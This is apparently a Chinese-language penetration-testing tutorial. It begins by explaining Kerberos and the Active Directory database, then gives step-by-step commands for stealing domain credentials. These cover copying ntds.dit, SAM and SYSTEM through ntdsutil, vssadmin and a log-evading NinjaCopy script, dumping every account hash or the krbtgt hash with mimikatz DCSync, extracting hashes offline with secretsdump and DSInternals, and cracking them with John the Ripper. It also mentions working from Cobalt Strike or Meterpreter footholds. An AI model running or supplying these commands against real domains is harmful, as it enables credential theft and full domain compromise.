一、Windows 域认证
认证类型:
- 本地认证:用户直接在本地设备登录。
- 网络认证:远程访问工作组设备。
- 域认证:用户登录域内设备,由域控制器(DC)集中管理。
1.Kerberos 协议简介
1)Kerberos 简介
- Kerberos 是一种基于密钥的网络认证协议,其设计目标是通过密钥系统为
客户机/ 服务器应用程序提供强大的认证服务。 - 该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并在网络上传送的数据包可以被任意地读取、修改和插入数据。
- 在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥) 执行认证服务的。
2)参与域认证的角色
- Client:希望访问服务的用户或应用程序。
- Server:提供服务的应用程序或系统。
- KDC:(Key Distribution Center)密钥分发中心,作为可信的第三方,负责分发加密密钥和认证票据。
在 Kerberos 中 Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定。
2.Kerberos 认证协议基础
- 票据(Ticket)
定义:票据是Kerberos协议中用于验证用户或服务身份的加密信息,允许持有者访问特定资源。
类型:包括Ticket-Granting Ticket (TGT)和Service Ticket。 - AD(Account Database)
存储域中所有用户的用户名和对应的 NTLM Hash,可以理解为域中的 SAM 数据库
KDC 可以从AD中提取域中所有用户的 NTLM Hash,这是 Kerberos 协议能够成功实现的基础。 - KDC(Key Distribution Center)
组成:KDC 由 Authentication Server (AS) 和 Ticket-Granting Server (TGS) 组成,负责生成、分 发和管理票据。
功能:KDC 确保了认证过程的安全性和效率。
从物理层面看,AD 与 AS,TGS,KDC 均为域控制器(Domain Controller)
KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)
- AS(Authentication Server)
身份认证服务,为 Client 生成 TGT 的服务,也用来完成对 Client 的身份验证 - TGT(Ticket Granting Ticket)
用来生成 Ticket 的 Ticket,由身份认证服务授予的票据(也叫作黄金票据),用于身份认证,存储在内存,默认有效期为 10 小时 - TGS(Ticket Granting Server)
票据授予服务,为 Client 生成允许对某个服务访问的 ticket
TGS基于用户持有的TGT,发放Service Ticket,允许用户访问特定的服务。
Client 从 AS 那里拿到 TGT 之后,来 TGS 这里再申请对某个特定服务或服务器访问的 Ticket,只有获取到这个 Ticket,Client 才有权限去访问对应的服务,该服务提供的票据也称为 TGS 或者叫白银票据
- 安全密钥
在Kerberos中,密钥通常指的是加密密钥,用于加密和验证会话密钥,确保通信的安全性。 Client 密钥、TGS 密钥和 Service 密钥均为对应用户的 NTLM Hash
作用是确保会话密钥 Session key 的安全传输
TGS 密钥 == KDC Hash == krbtgt 用户的 NTLM Hash - 会话密钥(Session Key)
会话密钥是用于加密客户端与服务端通信的密钥,确保数据传输的安全性。
Client/(TGS/Server) Sessionkey 可以看作客户端与 TGS 服务和尝试登陆的 Server 之间会话时用来加密的密钥 - 注意
Server 和 Service 可以当作一个东西,就是 Client 想要访问的服务器或者服务
3.Kerbreros 认证流程
- 认证请求
Client 请求服务:用户(Client)向Kerberos的密钥分发中心(KDC)发送服务请求,希望获取访问特定服务(Server)的权限。 - 初步验证
AS (Authentication Server):KDC中的AS服务接收到Client的请求,首先验证Client的身份。AS会从AD数据库中检索Client的凭据,确保其身份的真实性。 - 发放TGT
TGT (Ticket-Granting Ticket):一旦AS验证了Client的身份,它会生成一个TGT并发送给Client。 TGT是加密的,包含Client的身份信息和会话密钥。 - 请求Service Ticket
TGS (Ticket-Granting Service):Client使用TGT向TGS请求访问特定服务的权限。TGS验证TGT的 有效性,并生成Service Ticket。 - 发放Service Ticket
Service Ticket:TGS将Service Ticket发送给Client。这个票据允许Client访问特定的服务。Service Ticket也是加密的,确保只有Client和Server能够解密和使用。 - 访问服务 Client 访问Server:
Client向Server出示Service Ticket。Server验证票据的有效性,并使用票据中的会话密钥与Client进行安全通信。 - 票据的时效性
票据有效期:TGT和Service Ticket都有明确的有效期,通常TGT的有效期较长(如10小时),而 Service Ticket的有效期较短(如几分钟或几小时)。这增加了安全性,防止票据被滥用。 - 票据的重用
重新申请:如果Client需要访问另一个服务,它需要重新向KDC请求一个新的Service Ticket。这个过程不需要重新进行身份验证,只需使用现有的TGT即可。 - 安全性考虑
加密和完整性:Kerberos协议使用强加密算法来保护票据和通信过程,确保数据的机密性和完整性。 重放攻击防护:Kerberos通过使用一次性的会话密钥和时间戳来防止重放攻击。
二、活动目录数据库
1.数据库文件结构
NTDS.DIT:是AD的主要数据库文件,存储了域内所有用户、组、计算机和其他对象的信息。它包括用户的密码哈希值、组成员身份、访问控制列表等。
2.数据库存储位置
- 默认位置:NTDS.DIT 文件默认存储在域控制器的 %SystemRoot%\NTDS\ 文件夹下。
- 访问限制:该文件只能通过域控制器进程和相关协议访问,以确保数据的安全性。
- 要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件
NTDS.DIT文件位置:%SystemRoot%\NTDS\NTDS.dit (C:\Windows\NTDS\NTDS.dit)
SYSTEM文件位置: %SystemRoot%\System32\config\SYSTEM (C:\Windows\System32\config\SYSTEM)
SAM文件位置: %SystemRoot%\System32\config\SAM (C:\Windows\System32\config\SAM)
3.安全性
- 加密保护:为了进一步保护存储的密码哈希值,Windows使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
- 访问控制:Windows系统通过访问控制列表(ACLs)限制对这些关键文件的访问,防止未授权的读取或复制。
4.特殊访问方法
- 系统保护:由于Windows系统会阻止对这些文件的标准读取或复制操作,常规的复制方法无法获取到文件副本。
- 特殊工具:需要使用专门的工具或技术(如Windows的Volume Shadow Copy Service或第三方取证工具)来获取这些文件的副本。
5.重要性
- 身份验证基础:NTDS.DIT 文件是AD域服务的基础,存储了域内所有用户和计算机的安全凭证。
- 备份和恢复:定期备份NTDS.DIT文件是确保AD数据库在发生故障时能够快速恢复的关键。
6.与Kerberos的集成
- 密钥管理:AD数据库中的用户密码哈希值用于Kerberos认证过程中的密钥生成和验证。
- 安全性:Kerberos协议依赖于AD数据库中的安全凭证来确保网络通信的安全性。
三、Volume Shadow Copy
Volume Shadow Copy Service:卷影复制服务(VSS)是微软从 Windows XP开始提供的一项服务, 用于创建数据的一致性时间点副本,即快照。这项服务对于数据备份和还原至关重要,尤其是在需要保护关键业务数据的场景中。
1.VSS的主要功能
- 数据备份:VSS允许在不中断应用程序的情况下创建数据的一致性副本。
- 系统恢复:支持系统恢复功能,如Windows的系统还原(System Restore)。
- 应用程序数据保护:在应用程序支持VSS的情况下,可以创建应用程序数据的一致性备份。
2.安全性和日志记录
- 日志记录:调用VSS服务会产生系统日志,事件ID为7036。
- 额外日志:执行特定命令(如ntdsutil snapshot "activate instance ntds" create quit quit)可能会产生事件ID为98的日志。
以此利用 VSS 获取 NTDS.DIT、SAM、SYSTEM 等文件关键文件的副本
四、Ntdsutil
Ntdsutil.exe:是一个功能强大的命令行工具,专为Active Directory域服务 (AD DS) 和Active Directory 轻型目录服务 (AD LDS) 提供管理功能。它允许管理员执行数据库维护、管理和控制单个主机操作, 并删除域控制器的元数据,特别是在域控制器未正确卸载的情况下。
- 使用方法
管理员权限:必须以管理员身份运行命令提示符(cmd.exe)。 - 类似工具
如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用 dsdbutil.exe 和 dsmgmt.exe 命令行工具
1.交互式操作
1)方式一
- 进入ntdsutil命令行
ntdsutil
或者
ntdsutil.exe
- 进入快照
snapshot
- 激活 AD DS 实例
activate instance ntds
- 创建快照
creat
- 挂载快照
mount [GUID]
- 复制 ntds.dit 文件(通常情况下是使用的shell来控制)
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit
- 卸载并删除快照
unmount [GUID]
del [GUID]

2)方式二
- 以管理员身份打开命令提示符(cmd.exe)
- 在命令提示符输入 ntdsutil 命令
- 激活 AD DS 实例
activate instance ntds
- 为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质到指定文件夹中
ifm
create full c:\mingy

2.非交互操作
- 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
- 创建快照
和上面一步一步操作一样,这不过是将命令合在一起
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
-
复制快照
copy -
卸载快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
- 删除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
五、Vssadmin
Vssadmin:是卷影复制服务(Volume Shadow Copy Service, VSS)的管理命令行工具,用于创建、 列出、挂载和删除卷影复制快照。此工具在域环境中默认安装,支持从 Windows Server 2003 及以上操作系统。
- 查询当前系统的快照
vssadmin list shadows
- 创建快照
vssadmin create shadow /for=c:
获得卷影副本卷

3. 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3 中的文件,可通过创建符号链接访问快照中的文件:
mklink /d c:\test \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\
删除符号链接:
rd c:\test

4. 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds3.dit
- 删除快照
vssadmin delete shadows /for=c: /quiet
六、Vshadow
vshadow.exe:是一个命令行实用程序,用于管理卷影副本(也称为快照)。此工具包含在 Microsoft Windows Software Development Kit (SDK) 中,并且具有 Microsoft 签名。 Vshadow 允许管理员在不中断服务的情况下创建数据的一致性副本,这对于数据备份和恢复至关重要。
(不一定自带)
VShadow 工具和示例 – Win32 apps | Microsoft Learn
七、NinjaCopy
NinjaCopy 是一个利用 PowerShell 实现的脚本工具,设计用于在不触发安全警告或日志记录的情况 下复制敏感文件,如 NTDS.dit、注册表配置单元(例如 SAM 和 SYSTEM)等。该工具通过绕过标 准的文件系统访问控制列表(SACL/DACL)和文件锁定机制来实现其功能。
脚本使用:
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"

没有调用 Volume Shadow Copy 服务,因此不会产生日志
八、解密NTDS.DIT文件
1.在线破解
在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。
有一个 Cobaltstrike 弹回的 beacon,就可以在beacon中直接利用 mimikatz 来破解,前提是要有管理员权限
有一个 Meterpreter Shell ,可以在sessions会话中加载 kiwi 模块,直接在目标主机进行密码凭证获
Mimikatz 有一个功能dcsync,它可以利用目录复制服务( Directory Replication Service, DRS)从 NTDS.DIT 文件中提取密码哈希值。
1)DCSync 工作原理(了解即可)
- 攻击者获得管理员及以上权限后,可以使用 Mimikatz 等工具模拟 Active Directory 域控制器
- 然后攻击者使用 DCSync 命令,在目标域控制器上请求某个指定帐户的 NTLM 存储凭证密码哈希值, 而无需提供该帐户的明文密码。但是攻击者需要知道目标帐户的名称,以及目标系统的域名和管理员凭据。
- 目标域控制器接收到此请求后,将密码哈希值返回给攻击者。
- 攻击者可以使用获得的密码哈希值来执行其他攻击,例如 Pass-the-Hash 攻击,这种攻击技术允许攻击者使用哈希值进行身份验证并获取对系统的访问权限,而无需知道实际的明文密码。此外,攻击者也可以尝试破解密码哈希值以获得明文密码。
2)获取 xingyu 域内所有用户 Hash
mimikatz lsadump::dcsync /domain:mingy.com /all /csv
3)查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:xingyu.com /user:krbtgt
4)查看所有用户的详细信息
mimikatz lsadump::lsa /inject
2.离线破解
离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
1)SecretsDump
通过 impacket 套件中的 secretsdump脚本获取 Hash
# sam
secretsdump.exe -sam sam.hive -security security.hiv -system system.hive LOCAL
# ntds.dit
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
# kali中可以使用impacket-secretsdump命令
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

解密Hash得到明文密码,复制 administrator 账号的 NTLM Hash 写入文件 1.txt 中
使用 John the ripper 进行 NTLM Hash 破解
john 1.txt --format=NT

2)DSInternals
DSInternals PowerShell模块提供了构建在框架之上的易于使用的cmdlet。主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
支持系统:
- Windows Server 2012 R2
- Windows Server 2008 R2
- Windows 10 64-bit
- Windows 8.1 64-bit
- Windows 7 64-bit
要使用 DSInternals 模块提取用户哈希值,我们需要先获取ntds.dit、SYSTEM这两个文件。将 ntds.dit、SYSTEM 这两个文件导出并拖到我们本地后,即可执行如下命令获取所有账户哈希:
# 导入DSInternals模块
Import-Module DSInternals
# 获取System bootkey
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'
# 获取所有账户信息
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key
还可以导出支持 Hashcat 格式的哈希:
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt